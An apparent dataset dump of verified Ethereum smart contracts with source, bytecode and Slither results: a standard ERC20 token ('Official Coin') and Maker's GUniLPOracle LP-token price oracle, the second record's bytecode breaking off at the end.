address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xad5e43a91f3881b5b8162c54aeef0e05aea60f7a
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract OfficialCoin is ERC20 { constructor(uint256 initialSupply) ERC20("Official Coin", "OFI") { _mint(msg.sender, initialSupply); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e40565b60405180910390f35b6100e660048036038101906100e19190610c8e565b610308565b6040516100f39190610e25565b60405180910390f35b610104610326565b6040516101119190610f42565b60405180910390f35b610134600480360381019061012f9190610c3f565b610330565b6040516101419190610e25565b60405180910390f35b610152610431565b60405161015f9190610f5d565b60405180910390f35b610182600480360381019061017d9190610c8e565b61043a565b60405161018f9190610e25565b60405180910390f35b6101b260048036038101906101ad9190610bda565b6104e6565b6040516101bf9190610f42565b60405180910390f35b6101d061052e565b6040516101dd9190610e40565b60405180910390f35b61020060048036038101906101fb9190610c8e565b6105c0565b60405161020d9190610e25565b60405180910390f35b610230600480360381019061022b9190610c8e565b6106b4565b60405161023d9190610e25565b60405180910390f35b610260600480360381019061025b9190610c03565b6106d2565b60405161026d9190610f42565b60405180910390f35b606060038054610285906110a6565b80601f01602080910402602001604051908101604052809291908181526020018280546102b1906110a6565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610759565b8484610761565b6001905092915050565b6000600254905090565b600061033d84848461092c565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610ec2565b60405180910390fd5b61042585610414610759565b85846104209190610fea565b610761565b60019150509392505050565b60006012905090565b60006104dc610447610759565b848460016000610455610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104d79190610f94565b610761565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053d906110a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610569906110a6565b80156105b65780601f1061058b576101008083540402835291602001916105b6565b820191906000526020600020905b81548152906001019060200180831161059957829003601f168201915b5050505050905090565b600080600160006105cf610759565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561068c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068390610f22565b60405180910390fd5b6106a9610697610759565b8585846106a49190610fea565b610761565b600191505092915050565b60006106c86106c1610759565b848461092c565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c890610f02565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610841576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083890610e82565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161091f9190610f42565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390610ee2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0390610e62565b60405180910390fd5b610a17838383610bab565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9490610ea2565b60405180910390fd5b8181610aa99190610fea565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b399190610f94565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b9d9190610f42565b60405180910390a350505050565b505050565b600081359050610bbf81611370565b92915050565b600081359050610bd481611387565b92915050565b600060208284031215610bec57600080fd5b6000610bfa84828501610bb0565b91505092915050565b60008060408385031215610c1657600080fd5b6000610c2485828601610bb0565b9250506020610c3585828601610bb0565b9150509250929050565b600080600060608486031215610c5457600080fd5b6000610c6286828701610bb0565b9350506020610c7386828701610bb0565b9250506040610c8486828701610bc5565b9150509250925092565b60008060408385031215610ca157600080fd5b6000610caf85828601610bb0565b9250506020610cc085828601610bc5565b9150509250929050565b610cd381611030565b82525050565b6000610ce482610f78565b610cee8185610f83565b9350610cfe818560208601611073565b610d0781611136565b840191505092915050565b6000610d1f602383610f83565b9150610d2a82611147565b604082019050919050565b6000610d42602283610f83565b9150610d4d82611196565b604082019050919050565b6000610d65602683610f83565b9150610d70826111e5565b604082019050919050565b6000610d88602883610f83565b9150610d9382611234565b604082019050919050565b6000610dab602583610f83565b9150610db682611283565b604082019050919050565b6000610dce602483610f83565b9150610dd9826112d2565b604082019050919050565b6000610df1602583610f83565b9150610dfc82611321565b604082019050919050565b610e108161105c565b82525050565b610e1f81611066565b82525050565b6000602082019050610e3a6000830184610cca565b92915050565b60006020820190508181036000830152610e5a8184610cd9565b905092915050565b60006020820190508181036000830152610e7b81610d12565b9050919050565b60006020820190508181036000830152610e9b81610d35565b9050919050565b60006020820190508181036000830152610ebb81610d58565b9050919050565b60006020820190508181036000830152610edb81610d7b565b9050919050565b60006020820190508181036000830152610efb81610d9e565b9050919050565b60006020820190508181036000830152610f1b81610dc1565b9050919050565b60006020820190508181036000830152610f3b81610de4565b9050919050565b6000602082019050610f576000830184610e07565b92915050565b6000602082019050610f726000830184610e16565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f9f8261105c565b9150610faa8361105c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fdf57610fde6110d8565b5b828201905092915050565b6000610ff58261105c565b91506110008361105c565b925082821015611013576110126110d8565b5b828203905092915050565b60006110298261103c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611091578082015181840152602081019050611076565b838111156110a0576000848401525b50505050565b600060028204905060018216806110be57607f821691505b602082108114156110d2576110d1611107565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6113798161101e565b811461138457600080fd5b50565b6113908161105c565b811461139b57600080fd5b5056fea2646970667358221220e002fefb8b597fc1f4d386e7f7f10b143dd427a475814ea462d5f861521bd6e664736f6c63430008010033
{"success": true, "error": null, "results": {}}
7,300
0x7f6d78cc0040c87943a0e0c140de3f77a273bd58
/** *Submitted for verification at Etherscan.io on 2021-09-17 */ // SPDX-License-Identifier: AGPL-3.0-or-later /// GUniLPOracle.sol // Copyright (C) 2017-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. /////////////////////////////////////////////////////// // // // Methodology for Calculating LP Token Price // // // /////////////////////////////////////////////////////// // We derive the sqrtPriceX96 via Maker's own oracles to prevent price manipulation in the pool: // // p0 = price of token0 in USD // p1 = price of token1 in USD // UNITS_0 = decimals of token0 // UNITS_1 = decimals of token1 // // token1/token0 = (p0 / 10^UNITS_0) / (p1 / 10^UNITS_1) [Conversion from Maker's price ratio into Uniswap's format] // = (p0 * 10^UNITS_1) / (p1 * 10^UNITS_0) // // sqrtPriceX96 = sqrt(token1/token0) * 2^96 [From Uniswap's definition] // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^96 // = sqrt((p0 * 10^UNITS_1) / (p1 * 10^UNITS_0)) * 2^48 * 2^48 // = sqrt((p0 * 10^UNITS_1 * 2^96) / (p1 * 10^UNITS_0)) * 2^48 // // Once we have the sqrtPriceX96 we can use that to compute the fair reserves for each token. This part may be slightly subjective // depending on the implementation, but we expect most tokens to provide something like getUnderlyingBalancesAtPrice(uint160 sqrtPriceX96) // which will forward our oracle-calculated `sqrtPriceX96` to the Uniswap-provided LiquidityAmounts.getAmountsForLiquidity(...) // This function will return the fair reserves for each token. Vendor-specific logic is then used to tack any uninvested fees on top of those amounts. // // Once we have the fair reserves and the prices we can compute the token price by: // // Token Price = TVL / Token Supply // = (r0 * p0 + r1 * p1) / totalSupply pragma solidity =0.6.12; interface ERC20Like { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); } interface GUNILike { function token0() external view returns (address); function token1() external view returns (address); function getUnderlyingBalancesAtPrice(uint160) external view returns (uint256,uint256); } interface OracleLike { function read() external view returns (uint256); } contract GUniLPOracle { // --- Auth --- mapping (address => uint256) public wards; // Addresses with admin authority function rely(address _usr) external auth { wards[_usr] = 1; emit Rely(_usr); } // Add admin function deny(address _usr) external auth { wards[_usr] = 0; emit Deny(_usr); } // Remove admin modifier auth { require(wards[msg.sender] == 1, "GUniLPOracle/not-authorized"); _; } address public immutable src; // Price source // hop and zph are packed into single slot to reduce SLOADs; // this outweighs the cost from added bitmasking operations. uint8 public stopped; // Stop/start ability to update uint16 public hop = 1 hours; // Minimum time in between price updates uint232 public zph; // Time of last price update plus hop bytes32 public immutable wat; // Label of token whose price is being tracked // --- Whitelisting --- mapping (address => uint256) public bud; modifier toll { require(bud[msg.sender] == 1, "GUniLPOracle/contract-not-whitelisted"); _; } struct Feed { uint128 val; // Price uint128 has; // Is price valid } Feed internal cur; // Current price (mem slot 0x3) Feed internal nxt; // Queued price (mem slot 0x4) // --- Data --- uint256 private immutable UNIT_0; // Numerical representation of one token of token0 (10^decimals) uint256 private immutable UNIT_1; // Numerical representation of one token of token1 (10^decimals) uint256 private immutable TO_18_DEC_0; // Conversion factor to 18 decimals uint256 private immutable TO_18_DEC_1; // Conversion factor to 18 decimals address public orb0; // Oracle for token0, ideally a Medianizer address public orb1; // Oracle for token1, ideally a Medianizer // --- Math --- uint256 constant WAD = 10 ** 18; function _add(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x + _y) >= _x, "GUniLPOracle/add-overflow"); } function _sub(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require((z = _x - _y) <= _x, "GUniLPOracle/sub-underflow"); } function _mul(uint256 _x, uint256 _y) internal pure returns (uint256 z) { require(_y == 0 || (z = _x * _y) / _y == _x, "GUniLPOracle/mul-overflow"); } function toUint160(uint256 x) internal pure returns (uint160 z) { require((z = uint160(x)) == x, "GUniLPOracle/uint160-overflow"); } // FROM https://github.com/abdk-consulting/abdk-libraries-solidity/blob/16d7e1dd8628dfa2f88d5dadab731df7ada70bdd/ABDKMath64x64.sol#L687 function sqrt(uint256 _x) private pure returns (uint128) { if (_x == 0) return 0; else { uint256 xx = _x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; r = (r + _x / r) >> 1; // Seven iterations should be enough uint256 r1 = _x / r; return uint128 (r < r1 ? r : r1); } } // --- Events --- event Rely(address indexed usr); event Deny(address indexed usr); event Step(uint256 hop); event Stop(); event Start(); event Value(uint128 curVal, uint128 nxtVal); event Link(uint256 id, address orb); event Kiss(address a); event Diss(address a); // --- Init --- constructor (address _src, bytes32 _wat, address _orb0, address _orb1) public { require(_src != address(0), "GUniLPOracle/invalid-src-address"); require(_orb0 != address(0) && _orb1 != address(0), "GUniLPOracle/invalid-oracle-address"); wards[msg.sender] = 1; emit Rely(msg.sender); src = _src; wat = _wat; uint256 dec0 = uint256(ERC20Like(GUNILike(_src).token0()).decimals()); require(dec0 <= 18, "GUniLPOracle/token0-dec-gt-18"); UNIT_0 = 10 ** dec0; TO_18_DEC_0 = 10 ** (18 - dec0); uint256 dec1 = uint256(ERC20Like(GUNILike(_src).token1()).decimals()); require(dec1 <= 18, "GUniLPOracle/token1-dec-gt-18"); UNIT_1 = 10 ** dec1; TO_18_DEC_1 = 10 ** (18 - dec1); orb0 = _orb0; orb1 = _orb1; } function stop() external auth { stopped = 1; delete cur; delete nxt; zph = 0; emit Stop(); } function start() external auth { stopped = 0; emit Start(); } function step(uint256 _hop) external auth { require(_hop <= uint16(-1), "GUniLPOracle/invalid-hop"); hop = uint16(_hop); emit Step(_hop); } function link(uint256 _id, address _orb) external auth { require(_orb != address(0), "GUniLPOracle/no-contract-0"); if(_id == 0) { orb0 = _orb; } else if (_id == 1) { orb1 = _orb; } else { revert("GUniLPOracle/invalid-id"); } emit Link(_id, _orb); } // For consistency with other oracles. function zzz() external view returns (uint256) { if (zph == 0) return 0; // backwards compatibility return _sub(zph, hop); } function pass() external view returns (bool) { return block.timestamp >= zph; } function seek() internal returns (uint128 quote) { // All Oracle prices are priced with 18 decimals against USD uint256 p0 = OracleLike(orb0).read(); // Query token0 price from oracle (WAD) require(p0 != 0, "GUniLPOracle/invalid-oracle-0-price"); uint256 p1 = OracleLike(orb1).read(); // Query token1 price from oracle (WAD) require(p1 != 0, "GUniLPOracle/invalid-oracle-1-price"); uint160 sqrtPriceX96 = toUint160(sqrt(_mul(_mul(p0, UNIT_1), (1 << 96)) / (_mul(p1, UNIT_0))) << 48); // Get balances of the tokens in the pool (uint256 r0, uint256 r1) = GUNILike(src).getUnderlyingBalancesAtPrice(sqrtPriceX96); require(r0 > 0 || r1 > 0, "GUniLPOracle/invalid-balances"); uint256 totalSupply = ERC20Like(src).totalSupply(); require(totalSupply >= 1e9, "GUniLPOracle/total-supply-too-small"); // Protect against precision errors with dust-levels of collateral // Add the total value of each token together and divide by the totalSupply to get the unit price uint256 preq = _add( _mul(p0, _mul(r0, TO_18_DEC_0)), _mul(p1, _mul(r1, TO_18_DEC_1)) ) / totalSupply; require(preq < 2 ** 128, "GUniLPOracle/quote-overflow"); quote = uint128(preq); // WAD } function poke() external { // Ensure a single SLOAD while avoiding solc's excessive bitmasking bureaucracy. uint256 hop_; { // Block-scoping these variables saves some gas. uint256 stopped_; uint256 zph_; assembly { let slot1 := sload(1) stopped_ := and(slot1, 0xff ) hop_ := and(shr(8, slot1), 0xffff) zph_ := shr(24, slot1) } // When stopped, values are set to zero and should remain such; thus, disallow updating in that case. require(stopped_ == 0, "GUniLPOracle/is-stopped"); // Equivalent to requiring that pass() returns true. // The logic is repeated instead of calling pass() to save gas // (both by eliminating an internal call here, and allowing pass to be external). require(block.timestamp >= zph_, "GUniLPOracle/not-passed"); } uint128 val = seek(); require(val != 0, "GUniLPOracle/invalid-price"); Feed memory cur_ = nxt; // This memory value is used to save an SLOAD later. cur = cur_; nxt = Feed(val, 1); // The below is equivalent to: // // zph = block.timestamp + hop // // but ensures no extra SLOADs are performed. // // Even if _hop = (2^16 - 1), the maximum possible value, add(timestamp(), _hop) // will not overflow (even a 232 bit value) for a very long time. // // Also, we know stopped was zero, so there is no need to account for it explicitly here. assembly { sstore( 1, add( // zph value starts 24 bits in shl(24, add(timestamp(), hop_)), // hop value starts 8 bits in shl(8, hop_) ) ) } // Equivalent to emitting Value(cur.val, nxt.val), but averts extra SLOADs. emit Value(cur_.val, val); // Safe to terminate immediately since no postfix modifiers are applied. assembly { stop() } } function peek() external view toll returns (bytes32,bool) { return (bytes32(uint256(cur.val)), cur.has == 1); } function peep() external view toll returns (bytes32,bool) { return (bytes32(uint256(nxt.val)), nxt.has == 1); } function read() external view toll returns (bytes32) { require(cur.has == 1, "GUniLPOracle/no-current-value"); return (bytes32(uint256(cur.val))); } function kiss(address _a) external auth { require(_a != address(0), "GUniLPOracle/no-contract-0"); bud[_a] = 1; emit Kiss(_a); } function kiss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { require(_a[i] != address(0), "GUniLPOracle/no-contract-0"); bud[_a[i]] = 1; emit Kiss(_a[i]); } } function diss(address _a) external auth { bud[_a] = 0; emit Diss(_a); } function diss(address[] calldata _a) external auth { for(uint256 i = 0; i < _a.length; i++) { bud[_a[i]] = 0; emit Diss(_a[i]); } } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c806365c4ce7a116100de578063a7a1ed7211610097578063be9a655511610071578063be9a655514610447578063bf353dbb1461044f578063dca44f6f14610475578063f29c29c41461047d57610173565b8063a7a1ed72146103e8578063a9c52a3914610404578063b0b8579b1461042857610173565b806365c4ce7a1461034857806365fae35e1461036e5780636c2552f91461039457806375f12b211461039c5780639c52a7f1146103ba578063a4dff0a2146103e057610173565b806346d4577d1161013057806346d4577d1461025c5780634ca29923146102cc5780634fce7a2a146102e657806357de26a41461030c57806359e02dd71461031457806365af79091461031c57610173565b806307da68f5146101785780630e5a6c701461018257806318178358146101a35780631b25b65f146101ab5780632e7dc6af1461021b5780633a1cde751461023f575b600080fd5b6101806104a3565b005b61018a61053e565b6040805192835290151560208301528051918290030190f35b6101806105ae565b610180600480360360208110156101c157600080fd5b8101906020810181356401000000008111156101dc57600080fd5b8201836020820111156101ee57600080fd5b8035906020019184602083028401116401000000008311171561021057600080fd5b50909250905061079f565b610223610921565b604080516001600160a01b039092168252519081900360200190f35b6101806004803603602081101561025557600080fd5b5035610945565b6101806004803603602081101561027257600080fd5b81019060208101813564010000000081111561028d57600080fd5b82018360208201111561029f57600080fd5b803590602001918460208302840111640100000000831117156102c157600080fd5b509092509050610a3b565b6102d4610b41565b60408051918252519081900360200190f35b6102d4600480360360208110156102fc57600080fd5b50356001600160a01b